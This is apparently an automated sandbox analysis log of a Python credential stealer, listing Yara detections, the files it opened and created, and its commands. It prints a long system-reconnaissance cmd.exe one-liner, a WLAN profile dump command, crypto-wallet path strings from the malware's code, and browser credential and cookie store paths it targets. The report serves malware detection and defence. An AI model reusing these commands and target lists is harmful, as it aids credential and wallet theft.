Source: Yara match	File source: 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1978690429.000001B101D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rename_me_before.exe PID: 3512, type: MEMORYSTR

Yara detected Python Stealer

Source: Yara match	File source: 00000001.00000003.1952943493.000001B1014F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1978432003.000001B101520000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1980340485.000001B103050000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1978981334.000001B101D80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rename_me_before.exe PID: 3512, type: MEMORYSTR

Detected generic credential text file

Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Browsers\Cookies.txt	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Browsers\Firefox\History.txt	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\network_info.txt	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\system_info.txt	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\process_info.txt	Jump to behavior

Found many strings related to Crypto-Wallets (likely being stolen)

Source: rename_me_before.exe, 00000001.00000003.1952943493.000001B1014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "Electrum": os.path.join(self.RoamingAppData, "Electrum", "wallets"),
Source: rename_me_before.exe, 00000001.00000003.1952943493.000001B1014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "Jaxx": os.path.join(self.RoamingAppData, "com.liberty.jaxx", "IndexedDB", "file__0.indexeddb.leveldb"),
Source: rename_me_before.exe, 00000001.00000003.1952943493.000001B1014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "Exodus": "aholpfdialjgjfhomihkjbmgjidlcdno",
Source: rename_me_before.exe, 00000001.00000003.1952943493.000001B1014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "Ethereum": os.path.join(self.RoamingAppData, "Ethereum", "keystore"),
Source: rename_me_before.exe, 00000001.00000003.1952943493.000001B1014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "Ethereum": os.path.join(self.RoamingAppData, "Ethereum", "keystore"),

Gathers network related connection and port information

Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\events	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\saved-telemetry-pings	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\bde1cb97-a9f1-4568-9626-b993438e38e1	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldooml	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\4d5b179f-bba0-432a-b376-b1fb347ae64f	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nphplpgoakhhjchkkhmiggakijnkhfnd	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.files	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\57328c1e-640f-4b62-a5a0-06d479b676c2	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hmeobnfnfcmdkdcmlblgagmfpfboieaf	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnnegphlobjdpkhecapkijjdkgcjhkib	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjb	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\bookmarkbackups	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\2cb4572a-4cab-4e12-9740-762c0a50285f	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\events	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfak	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\e8d04e65-de13-4e7d-b232-291855cace25	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\minidumps	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\03a1fc40-7474-4824-8fa1-eaa75003e98a	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\8ad0d94c-ca05-4c9d-8177-48569175e875	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\5bc1a347-c482-475c-a573-03c10998aeea	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Bookmarks	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\temporary	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\default	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjf	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm	Jump to behavior
